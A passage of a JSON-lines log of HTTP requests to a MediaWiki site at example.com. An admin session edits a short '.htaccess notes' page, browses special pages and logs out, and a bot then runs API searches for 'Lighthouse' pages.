name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid--\r\n"}
{"method": "GET", "target": "/wiki/.htaccess_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision12=created; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 291", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=12&text=%3D%3D+Install+%3D%3D%0ARun+.htaccess+and+ls+-la.%0A&token=8d98a56fe79ce5cda12f70b54be1830f6af22681%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 299", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=12&stashedtexthash=215fba744e2608c7aadd8d4879a8a1d4a77aeefc&token=8d98a56fe79ce5cda12f70b54be1830f6af22681%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiT7gCPrm1YQ2rA25", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200105\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n12\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n12\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun .htaccess and ls -la.\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ .htaccess\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n8d98a56fe79ce5cda12f70b54be1830f6af22681+\\\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25--\r\n"}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=.htaccess+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=.htaccess&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=.htaccess+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+.htaccess.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2F.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=.h&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Watchlist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.feedlink%2Chelplink%2Cspecial%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.rcfilters.filters.base.styles%7Cmediawiki.rcfilters.highlightCircles.seenunseen.styles%7Cmediawiki.special.changeslist%7Cmediawiki.special.changeslist.enhanced%2Clegend%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Watchlist", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2CmakeCollapsible%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.pager.codex%7Cmediawiki.rcfilters.filters.ui%7Cmediawiki.special.changeslist.legend.js%7Cmediawiki.special.watchlist%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-editing-styling%2Cicons-interactions%2Cicons-layout%2Cicons-media%2Cicons-moderation%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=xzl3m", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Watchlist", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Preferences", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.preferences.styles.ooui%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.TagMultiselectWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.styles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Preferences", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Coojs-ui-windows%2Cvue%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.editfont.styles%7Cmediawiki.htmlform.ooui%7Cmediawiki.languageselector.core%2Clookup%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.notification.convertmessagebox%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.preferences.ooui%7Cmediawiki.widgets.LanguageSelectWidget%2CSelectWithInputWidget%2CUsersMultiselectWidget%2CvisibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1vc9l", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Preferences", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:UserLogout&returnto=Main+Page", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserLogout", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:UserLogout&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": "title=Special%3AUserLogout&wpEditToken=d8d2eb46967072943325a81909a240c96af22684%2B%5C&returnto=Main+Page&redirectparams=returnto%3DMain%2BPage"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.htmlform.ooui.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:UserLogout", "Accept-Encoding: gzip, deflate", "Cookie: my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&format=json&aplimit=50", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&format=json", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=Lighthouse&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=Lighthouse&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=Lighthouse&apprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Lighthouse+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Lighthouse+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=Lighthouse&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=Lighthouse&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Lighthouse_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Lighthouse_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
